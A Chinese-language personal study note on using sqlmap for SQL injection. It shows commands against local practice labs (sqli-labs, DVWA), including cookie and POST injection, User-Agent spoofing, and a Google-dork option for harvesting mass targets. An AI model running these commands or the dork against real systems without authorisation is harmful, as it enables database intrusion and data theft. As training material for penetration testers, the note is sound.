此文为自己学习sqlmap基础的笔记,留个痕迹,便于以后复习查询
#sqlmap获取目标
python sqlmap --version
python sqlmap -h
python sqlmap -hh
#sqlmap直连数据库
##服务型数据库(MySQL、Oracle、Microsoft SQL Server、PostqreSQL etc)
DBMS://USER:PASSWORD@DBMS_IP/PORT/DATABASE_NAME
例如:python sqlmap.py -d “mysql://admin:admin@127.0.0.1:3306/testdb” -f --banner --dbs --users
##文件型数据库(SQLite、Microsoft Access、Firebird etc)
DBMS://DATABASE_FILEPATH
#sqlmap URL探测
-u 或 --url
例如:python sqlmap.py -u “testurl”
#sqlmap文件读取目标
1、-l 从burpsuite proxy或WebScarab proxy中读取http请求日志文件
保存日志文件为logs
将日志文件复制到sqlmap所在目录,然后cmd执行
python sqlmap.py -l logs
2、-x 从sitemap.xml站点地图文件中读取目标探测
3、-m 从多行文本格式文件中读取多个目标,对多个目标进行探测
4、-r 从文本文件中读取http请求作为SQL注入探测目标
例如:python sqlmap.py -r target.txt
5、-c 从配置文件sqlmap.conf中读取目标探测
例如:设置sqlmap.conf中的URL
python sqlmap.py -c sqlmap.conf
#sqlmap Google批量注入
sqlmap通过 -g 自动利用Google获取指定Google hack的目标,然后利用交互式向导模式进行SQL注入探测
例如:python sqlmap.py -g “inurl:\”.php?id=1\""
#sqlmap设置请求参数
#sqlmap设置HTTP
在某些具体情况下,需要强制使用具体的HTTP请求方法。例如PUT请求方法(–method=PUT)
#sqlmap设置POST提交参数
默认情况下用于执行HTTP请求的方法是GET,可以通过提供在POST请求中发送的数据隐式地将其改为POST。
##实例Less-11
使用burpsuite截取HTTP请求,将提交的数据复制,用于注入
开始探测
python sqlmap.py -u “http://sql/Less-11/index.php” --data=“uname=admin&passwd=admin&submit=Submit” -f --banner --dbs --users
(-f fingerprint-指纹)
#sqlmap设置参数分隔符
某些情况下,sqlmap需要覆盖默认参数分隔符(例如& in GET和POST数据),才能正确分割处理每个参数。
python sqlmap.py -u “http://sql/Less-11/index.php” --data=“uname=admin&passwd=admin&submit=Submit” --param-del="&" --banner
#sqlmap设置Cookie头
sqlmap中用来设置cookie的参数:
–cookie
–cookie-del
–load-cookie
–drop-cookie
##使用场景
1、Web应用程序具有基于Cookie验证的过程
2、想利用Cookie值上的SQL注入漏洞
##sqlmap使用Cookie过程
1、登录或浏览页面
2、打开审计工具或代理截断,复制Cookie
3、在sqlmap中使用 --cookie 粘贴Cookie
###DVWA测试
python sqlmap.py -u “http://dvwa:8088/vulnerabilities/sqli/?id=1&Submit=Submit#” --banner
提示是否跟随302重定向响应
拒绝后不存在注入
使用burpsuite截断,抓取cookie值
复制cookie,然后
python sqlmap.py -u “http://dvwa:8088/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “PHPSESSID=8i8fuens2fa0uq4b83175moham; security=low” --banner
没有302重定向响应提示,直接返回存在的注入信息和banner信息
如果通信过程中web应用程序使用Set-Cookie标头进行响应,sqlmap将在所有进一步的http请求中自动使用其值作为Cookie标头。sqlmap将为SQL注入自动测试这些值。
通过 --drop-set-cookie ,sqlmap将忽略任何即将到来的Set-Cookie头来避免自动测试
如果提供一个带有选项的HTTP Cookie报头——Cookie和目标URL在任何时候发送一个HTTP Set-Cookie报头,sqlmap将询问要为以下HTTP请求使用哪组Cookie。
load-cookie 可以用来提供包含Netscape/wget格式的cookie文件
注:如需对HTTP Cookie值进行SQL注入探测,需设置 --level 2 以上(3)
##实例Less-20
使用burpsuite抓取HTTP请求后,Forward发送包,然后将包含cookie的请求信息复制到target.txt
开始探测
python sqlmap.py -r target.txt --level 2 -p uname
测试payload
#sqlmap设置User-Agent
默认情况下sqlmap使用 sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 用户代理头执行HTTP请求。通过提供提供自定义用户代理作为选项的参数,可以使用选项——user-agent伪造。
通过使用 --random-agent,sqlmap将从./txt/user-agent中随机选择一个适用于会话的所有HTTP请求,一些站点在服务端检测HTTP User-Agent值,如果不是一个合法的值,就会中断连接,同时sqlmap也会爆出错误。
##user-agent.txt所在目录
##实例Less-1
###–user-agent
将burpsuite抓取到的User-Agent复制,在sqlmap中执行
python sqlmap.py -u “http://sql/Less-1/?id=1” --user-agent=“Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0” --banner